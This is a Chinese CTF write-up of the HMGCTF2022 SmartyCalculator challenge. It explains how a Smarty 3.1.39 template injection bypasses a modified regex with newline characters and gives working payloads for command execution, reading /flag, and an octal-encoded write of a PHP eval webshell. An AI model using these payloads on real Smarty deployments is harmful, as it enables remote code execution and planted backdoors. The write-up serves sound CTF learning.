HMGCTF2022-SmartyCalculator


HMGCTF2022-SmartyCalculator

知识点概要:Smarty模板注入

主页

随便输入会弹窗提示:你还没有登录

www.zip源码泄露,Smarty框架

index.php发现弹窗逻辑代码

绕过弹窗,需要:1. POST传入data参数;2. Cookie要有login字段

然后还要绕过waf对data参数的限制(不能有php<flag?),才能进入Smart模板

题目Smarty版本是3.1.39

思路1

https://srcincite.io/blog/2021/02/18/smarty-template-engine-multiple-sandbox-escape-vulnerabilities.html

从官方下载对应版本:https://github.com/smarty-php/smarty/releases?q=3.1.39&expanded=true

对比发现smarty_internal_compile_function.php有改动(此处对比工具为Beyond Compare

关键的差异只有一处正则(左侧为题目源码,右侧为官方源码)

preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)

题目正则逻辑分析:

  1. [a-zA-Z0-9_\x80-\xff]匹配字母、数字、下划线或0x80-0xff范围内的任意字节,作为开头字符。
  2. (.*)+匹配0次或多次(*)任意数量(+)除换行符\n之外的任意单字符(.)。
  3. $匹配字符串的结束。

其中正则里\x80-\xff表示匹配utf-8编码下所有的汉字

所以可以换行绕过,%0A既不在前面的[]匹配里面,又不被后面的.匹配

所以只需要在原来poc基础上,加上%0A绕过即可(实际测试发现需要两个字符,且只要第一个字符是%0A皆可,此处用%0A%0A

data={function+name='rce(){};system("id");function%0A%0A'}{/function}

HackBar传参如下

执行phpinfo()

data={function+name='rce(){};@eval($_POST[1]);function%0A%0A'}{/function}&1=phpinfo();

读flag

data={function+name='rce(){};@eval($_POST[1]);function%0A%0A'}{/function}&1=var_dump(file_get_contents('/flag'));

思路2

function.math.php文件里有eval()函数可以命令执行,回溯$equation变量有个正则匹配

preg_match_all('!(?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)!', $equation, $match);

正则逻辑分析如下:

  1. preg_match_all()函数使用正则表达式匹配$equation字符串;
  2. 模式使用! !作为定界符;
  3. 第一部分 (?:0x[a-fA-F0-9]+) 匹配十六进制数,?:表示不捕获;
  4. 第二部分([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)捕获变量名模式(以字母/下划线/0x7f-0xff范围内的字符开头,后跟0个或多个字母/数字/指定字符的模式)。
  5. |表示或,匹配两种模式之一。
  6. 结果存储在$match数组中。
  7. 第一部分不捕获,第二部分捕获的变量名存入 $match[1]。
  8. 这样可以检索出字符串中的变量名,进行后续处理。

根据上述逻辑,此处可通过八进制绕过正则

脚本如下

s = input("请输入字符串:")

res = ""
for c in s:
    if c == "(" or c == ")" or c == ",":
        res += c
    elif c == "\"":
        res += "\\" + c
    else:
        o = oct(ord(c))
        res += "\\\\" + o[2:]
        
print(res)

如下命令写入一句话木马

("file_put_contents")("wa0er.php","<?php eval($_POST[wa0er]);?>")

处理成八进制后,完整Payload如下

data={$poc="poc"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\167\\141\\60\\145\\162\\56\\160\\150\\160\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154(\\44\\137\\120\\117\\123\\124\\133\\167\\141\\60\\145\\162\\135)\\73\\77\\76\")"}

HackBar传参如下

蚁剑连接,flag在根目录

参考

https://blog.csdn.net/m0_51078229/article/details/123660344

https://xz.aliyun.com/t/11085

https://blog.csdn.net/RABCDXB/article/details/123750375


文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
  目录